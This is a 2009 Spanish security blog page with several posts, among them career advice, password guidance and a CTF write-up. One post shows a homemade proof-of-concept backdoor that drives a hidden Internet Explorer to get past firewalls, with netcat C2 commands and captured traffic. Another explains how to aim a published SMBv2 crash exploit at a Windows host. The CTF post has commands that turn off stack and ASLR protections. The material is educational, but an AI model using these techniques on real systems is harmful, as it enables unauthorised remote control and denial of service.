09 septiembre 2009

¿Y ahora qué?

Tras nuestra entrada sobre las certificaciones de seguridad, nos han llegado múltiples consultas de estudiantes que están terminando la carrera o un módulo y no tienen demasiado claro como continuar su formación y mejorar su currículum y conocimientos en seguridad para obtener un perfil más especializado. En esta entrada os daré mi consejo personal por si os puede ser de interés.

1.- QUIENES SOMOS

Lo primero y más obvio es recordar que nuestro nombre y correo electrónico es una marca. Hoy en día es bastante común Googlear y tratar de averiguar un poco más allá del propio currículum del candidato. Mensajes en foros, listas de correo, redes sociales, fotos, todo lo que este publicado en Internet se ha de tener presente, eliminando aquello que pudiera perjudicar la imagen. Además, es recomendable participar activamente en aquellos sitios técnicos de nuestro interés. Tener un pequeño blog puede ayudar o perjudicar al candidato, así que además de tus colegas del barrio, piensa que alguien más puede leerlo.

Este punto es tan importante que en ocasiones las consultoras se acercan a las universidades en busca de una persona en concreto como haría el mismísimo Florentino Pérez.

2.- DONDE QUEREMOS IR Y TAL

Lo primero que se debe tener más o menos claro es que se está solicitando hoy en día en el mercado laboral y donde podríamos encajar mejor en base a nuestros gustos, así como en que campo se desea desarrollar nuestra carrera profesional, ¡aunque seguramente sufra múltiples cambios! Una lista de los distintos perfiles de seguridad que se buscan por todo tipo de compañías podría ser algo similar a esto:

  • Operación: encargado de la monitorización de elementos de seguridad como cortafuegos, detectores de intrusos, consolas antivirus, etcétera. Un buen sitio por el que comenzar que puede dar mucha visibilidad de arquitectura y su infraestructura.
  • Hacking ético: especialistas en explotación y análisis de vulnerabilidades, amplios conocimientos en sistemas, redes, aplicaciones, etcétera. También es normal encontrarse gente que está más cómoda en algunas plataformas, por ejemplo sistemas Microsoft, Unix, en redes, Web...
  • Análisis Forense: en muchas ocasiones es el mismo perfil que el anterior, ya que se requieren conocimientos similares más un componente adicional de esta materia.
  • I+D: Lo que todo el mundo quiere hacer pero pocos saben cómo, llevar a cabo nuevas ideas, realizar estudios, plantear nuevos proyectos...
  • Ingeniería inversa: desde el desarrollo de protecciones hasta el análisis de malware, perfil para los amantes del código en todos sus niveles.
  • Arquitectura de red / Integración: especialistas en electrónica de red, integrando sistemas de seguridad como IDS/IPS, firewalls, proxys, etcétera o también haciendo consultoría sobre las necesidades que puede tener determinada arquitectura.
  • Auditor LOPD / LSSI: perfiles tanto de abogados como informáticos con conocimientos de la Ley Orgánica de Protección de Datos, Ley de Servicios de la Sociedad de la información, etcétera.
  • Continuidad de Negocio: llevando a cabo este tipo de proyectos y planes de continuidad, no requiere altos conocimientos técnicos, pero si el conocimiento de algunos estándares de seguridad como BS25999 o BS25777
  • Auditor ISO27001, COBIT, Normativas: personas generalmente con un perfil menos técnico con conocimientos de normas y estándares de seguridad para la ejecución de proyectos de análisis de riesgos, planes directores, sgsi, etcétera.
  • Formación: no a todo el mundo le gusta ni tiene esta habilidad, no solo hay que conocer muy bien la materia si no saber cómo contarla.


Los puestos a desempeñar no tienen por qué ser exclusivos. Por poner algunos ejemplos, un formador es generalmente alguien que hace otro tipo de tareas relacionadas, un auditor de LOPD podría hacer una análisis de riesgos, alguien que haga hacking podría ejecutar cosas relacionadas con la ingeniería inversa... y así las combinaciones que se os ocurran.

A todos ellos se podría acceder sin experiencia previa como Junior e ir adquiriendo y profundizando en que más os guste. Si estas pensando que por haber terminado la carrera has terminado tu formación, seguramente te veas bastante limitado en tus conocimientos y posibilidades.



3.- DONDE APRENDER



Uno de los principales recursos para conocer el panorama de la seguridad e identificar si nos termina de gustar, son las conferencias que se celebran durante todo el año por todo el país. Estas conferencias organizadas por distintos organismos e instituciones en su gran mayoría son sin coste y además en todas ellas siempre se aprende algo.



CriptoRed mantiene un buen calendario de eventos y en el INTECO podéis consultar otro.



De forma económica y enfocado únicamente al contexto técnico de forma detallada y amplia, podemos optar por formaciones específicas como la que imparte Informatica64 en sus FTSAI.



Si lo que deseamos es volvernos un auténtico hatori de la seguridad, siempre podremos consultar todos los recursos disponibles en Internet y volvernos autodidactas, aquí una recopilación:



O recurrir a los clásicos libros, ya sean en papel o en formato electrónico, la lista es tan amplia que nosotros hemos recogido algunas de las mejores editoriales.



Para finalizar, una excelente opción para adquirir conocimientos rápidamente y colorear de forma considerable nuestro currículum vitae es la obtención de un Master en Seguridad de la Información, existen decenas de opciones con horarios y duraciones distintos y aunque económicamente suponen un desembolso considerable, son bastante amplios como para adquirir una visión completa de todo lo que se realiza en un departamento de seguridad de la información.



Mediante el portal emagister.com se pueden consultar muchas ofertas. Aunque por razones obvias, yo os sugiero el de la Universidad Europea de Madrid en el que imparto algunas clases ;-)




4.- AMPLIANDO EL CURRICULUM



¿Tú ya tienes tus estrellas?, si no es así, ¡mejora tu currículum!



Un experto en seguridad es alguien con muy buena base en muchos campos y por esto, un camino que sigue mucha gente es la evolución desde otro departamento técnico como administradores de sistemas o desarrolladores a uno de seguridad. Por lo tanto una buena opción es certificarse en algunos de estos temas teniendo en cuenta nuestros gustos y en que se desea trabajar posteriormente.


EC-Council nos permite certificarnos en hacking (CEH) o análisis forense (CHFI), sin tener experiencia siempre y cuando hagamos uno de sus cursos oficiales.

Mediante el uso de centros "Prometric", también podemos certificarnos en múltiples productos por un coste razonable (120-220$), cito algunos ejemplos aunque lo mejor es visitar la web y buscar los que más nos puedan interesar.



Para obtener estas certificaciones en general no es necesario asistir a ningún curso y se pueden preparar con el material disponible en la red.

Para finalizar, se puede adquirir experiencia solicitando alguna de las becas o aplicando a puestos de este tipo mediante portales como infojobs.com, puede ser una magnífica oportunidad para dar los primeros pasos e incluso quedarse en la compañía.



Leer más...

08 septiembre 2009

Bienvenidos a la nueva era de WinNuke (Vista/7)

En la época de Windows 95 (que en paz descanse) nos lo pasamos genial en clase lanzando WinNukes a diestro y siniestro, para dejar K.O. (Pantallazo Azul De La Muerte o Blue Screen Of Dead o BSOD) el sistema operativo del vecino que luego gritaba "Profe, ¡se me ha puesto el salvapantallas o algo!".

Enviando cierta cadena por un puerto determinado, el 139 TCP, conseguiamos el bloqueo absoluto del entorno, y tocaba reiniciar.

La película parece que se vuelve a repetir, pero esta vez le toca el turno a Windows Vista y Windows 7.

El fallo se ha encontrado de nuevo en el protocolo SMB encargado de compartir ficheros e impresoras, pero esta vez afectando a una nueva versión 2 incluída dentro de dichos sistemas operativos. Más información en este enlace, y en este otro vereis su especificación.

Laurent Gaffié, descubridor de esta vulnerabilidad, ha publicado además un código en python el cual una vez ejecutado, provocará un pantallazo azul en ambos sistemas.


 Centraros en la importancia de la vulnerabilidad,
no en la imagen, que os conozco...

El código lo teneis en el mismo post, y únicamente tendreis que cambiar el valor de IP_ADDR en la siguiente linea:
host = "IP_ADDR", 445
Con la dirección IP del sistema con Windows Vista o 7, y que como no, tiene que tener activado dicho servicio de compartir ficheros e impresoras. Si en vez de dejar en el código la dirección IP, cambiais dicho string por argv[1], se ejecutará para la dirección IP que pongais como parámetro al ejecutarlo.
[+] WinNuke en la Wikipedia


ACTUALIZACIÓN 08-Septiembre-2009 13:25:
Aunque el autor lo niegue, desde 48bits nos informan de que SI PODRÍA SER POSIBLE LA EJECUCIÓN REMOTA DE CÓDIGO, y no lo dicen por decir, dan su correspondiente explicación técnica que es lo que vale.
Así que, a falta de parche, bueno es desactivar el compartir ficheros en Windows 7, Vista y 2008.
Leer más...

07 septiembre 2009

Troyanos titiriteros

Aunque la palabra 'titiritero' a día de hoy tiene múltiples acepciones y en general engloba a muchas actividades circenses, el origen de esa palabra es aquellas personas que movían marionetas en espectáculos de teatro.

El tipo de troyano del que vamos a hablar hoy va en esa linea, troyanos que usan como marionetas programas del PC para comunicarse con el exterior.

Primero de todo, algo de background, en entornos Microsoft existe una tecnología llamada OLE/COM por la cual ciertos programas exportan su funcionalidad fuera del programa de forma que pueden ser llamados como 'servicios' desde aplicaciones externas. Un ejemplo: la mayoría de programas de la suite Office de microsoft pueden ser usados sin necesidad de intervención humana, por ejemplo, podemos abrir una hoja excel y hacer uso de alguna función matemática desde un script escrito en Visual Basic, ¿Como? simplemente hay que localizar el objeto OLE/COM de excel y usarlo empleando los métodos que exporta como si se trataran de funciones nativas.

Otro de los programas que exporta su funcionalidad es Internet Explorer, haciendo uso del objeto InternetExplorer.Application.1 podemos abrir una instancia de Explorer, navegar con ella y extraer el contenido de una pagina web desde un script. Además, si hacemos esa ventana invisible, podemos hacer todo eso sin que haya evidencias al respecto.

Entonces, pudiendo navegar usando Internet Explorer de forma oculta, es bastante sencillo implementar un troyano que use Explorer como vehículo para implementar un backdoor.

Este tipo de troyanos son útiles en dos escenarios bastante típicos, por un lado en las intranets corporativas donde no se permite conectividad directa hacia el exterior y es necesario emplear un proxy con autenticación

Otro escenario bastante común es el uso de Firewalls (normalmente integrados en el antivirus) que bloquean las aplicaciones que intentan hacer conexiones, por lo general estos firewalls vienen configurados por defecto para dejar salir ciertos programas, entre ellos, como no: Internet Explorer, entonces, empleando internet explorer como 'títere' para la comunicación al exterior, conseguimos hacer un bypass del Firewall (click para agrandar la imagen)


Como prueba-de-concepto he implementado un backdoor que hace uso de esta técnica y que permite ejecutar comandos remotamente usando el navegador como intermediario, se puede obtener desde aquí y funciona de la siguiente manera:

En el PC que actúa a modo de cliente (el troyano) ejecutamos:
ietroj.exe 192.168.1.45 (la dirección IP del servidor)
En el servidor, con un simple netcat es suficiente:
nc -l -p 80
Al conectar, el troyano informa que está esperando ordenes:

POST /cgi-bin/ HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language: es
Content-Type: text/plain
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: 192.168.157.1:8000
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache

Ready for commands
vamos a obtener la salida del comando ipconfig, para ello, desde el netcat, escribimos:
command ipconfig
Cerramos el netcat (Crt+C) y lo volvemos a lanzar para obtener la respuesta:
nc -l -p 80
el cliente vuelve a conectar y ...
POST /cgi-bin/ HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language: es
Content-Type: text/plain
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: 192.168.157.1:8000
Content-Length: 327
Connection: Keep-Alive
Cache-Control: no-cache


Configuración IP de Windows


Adaptador Ethernet Conexión de área local :

Sufijo de conexión específica DNS : localdomain
Dirección IP. . . . . . . . . . . : 192.168.157.128
Máscara de subred . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada : 192.168.157.2
et vuala, nos envía la salida del comando
Leer más...

06 septiembre 2009

InSecure Magazine - número 22

Con un poco de retraso, ya que se liberó el 1 de septiembre el número 22, anunciamos la salida de la revista (IN)SECURE, que podéis descargar gratuitamente desde la página:

http://www.net-security.org/dl/insecure/INSECURE-Mag-22.pdf

Me ha gustado un artículo de Fred Touchette "A look at geolocation, URL shortening and top Twitter threats", que comenta algunas de las tendencias actuales en el envío de SPAM.

También curiosa la página que han añadido con recomendaciones de twitters interesantes, entre los que se encuentra el suyo propio: http://twitter.com/helpnetsecurity

Finalmente, la agenda con eventos del mes, a la que alguno de los más afortunados podrá asistir. Nosotros os adelantamos que este final de año participaremos en alguno que otro... así que... ¡os tendremos informados!
Leer más...

05 septiembre 2009

4/4 - Wargame CP2009 - Pruebas de Binarios

Con bastante mas retraso de lo que me hubiera gustado, aquí está la última entrega de la saga 'Wargame CP2009': Binarios

La prueba Nº1 (cortesía de Iñigo Merchán) estaba basada en un fichero java compilado que debía ejecutarse con un parámetro (nombre de usuario) y requería que se respondiera a un desafío.

Haciendo uso de, por ejemplo, una herramienta como JAD, se podía decompilar todo el código y averiguar que el desafío era el sha-512 del usuario que se le suministraba como parámetro. Ejemplo:

eon ~/campus $ echo -n user | sha512sum
b14361404c078ffd549c03db443c3fede2f3e534d73f78f
77301ed97d4a436a9fd9db05ee8b325c0ad36438b43fec85
10c204fc1c1edb21d0941c00e9e2c1ce2
-
eon ~/campus $ java OhHai user
So ... WTF are you?
->b14361404c078ffd549c03db443c3fede2f3e534d73f78f
77301ed97d4a436a9fd9db05ee8b325c0ad36438b43fec85
10c204fc1c1edb21d0941c00e9e2c1ce2
Hoooray!! Your pass is "Knock, knock"

En la prueba Nº2 había que implementar un sistema para conseguir alterar la hora del sistema a los ojos de un binario que se negaba a dar el token hasta el 10-08-09. Evidentemente el usuario con el que se accedía al sistema no era root y por tanto no se podía cambiar la hora del sistema, adicionalmente para evitar que alguien 'se llevara el binario a casa' al ejecutarlo comprobaba la existencia del fichero /tmp/matrixhasyou y de no estar, no se ejecutaba. El binario contaba con una serie de protecciones anti-debug para que no resultara tan obvio que funciones llamaba y las variables estaban cifradas con Elf-Encrypter. También, a modo de despiste, el programa preguntaba por el nombre del concursante pero no había errores en el manejo de esa cadena.

Para resolver la prueba había que crear una librería compartida .so que fuera cargada mediante la variable LD_PRELOAD para devolver la salida de la función time() alterada.

Ejemplo de librería .so:

int time() {

long data= 1249862401 ;

return data;
}


La prueba Nº3 (cortesía de Javier Olascoaga) es un crackme en forma de aplicación simple que presenta un único punto de entrada de texto en forma de textbox y un botón que valida el texto introducido.

La temática del crackme es un homenaje al primer disco del grupo Oasis, What’s the story morning Glory?.

La aplicación está desarrollada en C#, por lo que es posible obtener el código fuente de esta, utilizando algún software para tal fin, como puede ser reflector. La única protección que se ha aplicado sobre el código es una ofuscación simple, sin cifrado de cadenas, por lo que el nombre de funciones y variables no son los originales.

El crackme es bastante sencillo, tiene una función que cifra/descifra con Rijandael utilizando como clave la fecha del sistema.

La particularidad de esta aplicación es que es necesaria una fecha específica para poder descifrar la cadena de forma correcta. Por lo que es necesario cambiar la fecha del sistema al día 2 de Octubre de 1995, fecha en que salió el disco “What’s the story morning Glory?” de Oasis.

La prueba Nº4 era un pequeño guiño remember en la que había que desarrollar un exploit contra un programa setuid que tenia un bug de tipo Buffer overflow. El programa actuaba a modo de 'echo' y se le podía explotar suministrándole un parámetro superior a 500 caracteres.

Mucha gente pensó que había que sobrepasar protecciones de pila o randomización de direcciones; nada mas lejos de la realidad, la maquina había sido configurada para deshabilitar todas las protecciones, así que aplicando las técnicas del mítico papper 'Smashing the stack for fun and profit' se podía pasar la prueba. Para 'desconfigurar' la Fedora Core 11 se hizo de la siguiente forma:

sysctl -w kernel.exec-shield=0

echo 0 > /proc/sys/kernel/randomize_va_space

Felicidades a Javi Moreno (vierito5) por ganar tan brillantemente el concurso y a todos los participantes por su fair play y altísimo nivel.

Y aprovechando este post, agradecemos enormemente a toda la gente que conocimos en la campus por su exquisito trato, calidad humana y la cantidad de horas divertidas que nos hicieron pasar. ¡¡¡ GRACIAS !!!
Leer más...

04 septiembre 2009

La seguridad ha tomado un papel muy importante hoy en día, proteger nuestra información personal y la información que almacenan nuestros sistemas es de vital importancia.

Normalmente los usuarios tienden a usar contraseñas que sean fáciles de recordar. Como el nombre de su pareja, de su perro, el nombre de su equipo favorito o su ciudad de nacimiento. Para un atacante no sería difícil observar cuales son las obsesiones del usuario para intentar averiguar su contraseña.

Un atacante que quiera entrar de forma manual en la cuenta de un usuario, lo primero que probará serán palabras que sean importantes para él. Si no consigue resultados de forma rápida, lo siguiente será un ataque por diccionario y si esto tampoco funciona intentará un ataque por fuerza bruta usando múltiples combinaciones de caracteres aunque actualmente la tecnología pone límites a este tipo de ataques... aunque no siempre bien implementadas

Cuando se crea una contraseña, debemos usar una que no se encuentre en un diccionario. Y todo lo larga y compleja para que un ataque de fuerza bruta no pueda resolverla porque requiera mucho tiempo y procesamiento, ya que una contraseña se hace exponencialmente más compleja por cada carácter que añades incrementando su longitud.

¿Se preocupan las redes sociales, webmails de que usemos contraseñas robustas?

Por desgracia, la mayoría de ellos no nos exigen una contraseña robusta, aunque tienen indicadores de la fortaleza de la contraseña.

Guía para la generación de contraseñas

Las contraseñas débiles tienen las siguientes características. Se pueden encontrar en un diccionario. Son de uso común como: nombres de familiares, mascotas, amigos, personajes fantásticos, términos de ordenador, comandos, ciudades, compañías, hardware, software, fechas de cumpleaños y otra información personal como direcciones o números de teléfono. O patrones como aaabbb, qwerty o palabras seguidas o precedidas de dígitos.

Las contraseñas fuertes tienen las siguientes características: contienen caracteres minúsculas y mayúsculas, dígitos y caracteres especiales. 0-9, !@#$%^&*()_+|-=\`{}[]:";'<>?,./ Tienen al menos 8 caracteres de longitud. No están en ningún diccionario. No están basados en información personal. Se debe intentar crear una contraseña fácil de recordar. Una forma de hacerlo es crear una contraseña basada en una canción, afirmación o frase. Por ejemplo "Stairway To Heaven" podría quedar St41rW4y2H34v3n@!.

Además contamos con herramientas para la generación de contraseñas automáticas, como por ejemplo nuestro bot que dispone de un servicio para ello.

Estándar de protección de contraseñas
  • Cambiar las contraseñas cada 30 días.
  • No escribir las contraseñas y dejarlas al alcance de los demás.
  • No guardar las contraseñas sin cifrarlas.
  • No usar la misma contraseña para las cuentas de la organización que para las cuentas personales (email, banco...).
  • No compartir las contraseñas en la empresa con nadie, incluidos el personal administrativo, secretarias.
  • Todas las contraseñas deben ser tratadas como información sensible, confidencial.
  • No dar la contraseña por teléfono a nadie.
  • No dar la contraseña por email.
  • No darle la contraseña al jefe.
  • No decir la contraseña delante de personas.
  • No revelar la contraseña en cuestionarios.
  • No compartir la contraseña con familiares o compañeros de trabajo durante las vacaciones.
  • No usar la opción "remember password" en las aplicaciones (IE, MSN, Mozilla,...)
  • Si sospechamos que una clave ha podido ser usurpada, reportar el incidente al personal de seguridad de TI y cambiar todas las contraseñas.
  • Se deberán hacer auditorias de crackeo de contraseña por el personal de seguridad. Si alguna contraseña se obtiene durante estos escaneos deberá ser documentado al usuario para que proceda a cambiarla.
  • Además habría que ver qué usuarios existentes en los sistemas no necesitan contraseña ni shell, de manera que no haya forma de que entren en los sistemas.
La robustez de las contraseñas es un punto fundamental que está en primera línea para la protección de las cuentas de usuario. Elegir una contraseña débil comprometerá de forma crítica los recursos.
Leer más...

03 septiembre 2009

Los Twitters de seguridad.

Twitter... Ese servicio que habré criticado unas cuantas veces y jamás pensé que fuese a usar. No ha sido hasta hace poco que he empezado a utilizarlo más activamente.

Pensaba que el uso común de este servicio era revelar información tan interesante como: "estoy desayunando, jeje", "me voy a clase" o "hoy en gran hermano han nominado a Cris por bipolar". Pero como todo en esta nuestra Red, solo era cuestión de descartar y seleccionar la información de interés.

Con el microblogging las noticias no corren, vuelan. La gente no necesita escribir entradas complejas y amplias para divulgar una noticia, por lo que recibimos continuamente información breve en gran número como referencias.

Para los que os queráis animar o para los que penséis ampliar vuestros twitts, os dejo una lista de nuestros favoritos.

La primera referencia tiene que ser Security Twits donde se hace una esplendida recopilación de los más importantes, aunque tal vez sea demasiado amplia e imposible de seguir. Su twitter también es un buen punto de partida y por lo consideramos como primera posición.

http://twitter.com/securitytwits

En español:
http://twitter.com/CSOspain
http://twitter.com/secbydefault (spam alert!)

En inglés:
http://twitter.com/daveaitel
http://twitter.com/alexsotirov
http://twitter.com/RSnake
http://twitter.com/thierryzoller
http://twitter.com/mubix
http://twitter.com/hdmoore
http://twitter.com/metasploit
http://twitter.com/milw0rm
http://twitter.com/packet_storm
http://twitter.com/ToolsWatch
http://twitter.com/GNUCITIZEN
http://twitter.com/XSSExploits
http://twitter.com/sansforensics
http://twitter.com/DidierStevens
http://twitter.com/Phonoelit
http://twitter.com/attritionorg
http://twitter.com/sans_isc

Seguro que vosotros tenéis muchos otros favoritos.... ¿alguna recomendación? ¡iremos ampliando la entrada con vuestras ideas!
Leer más...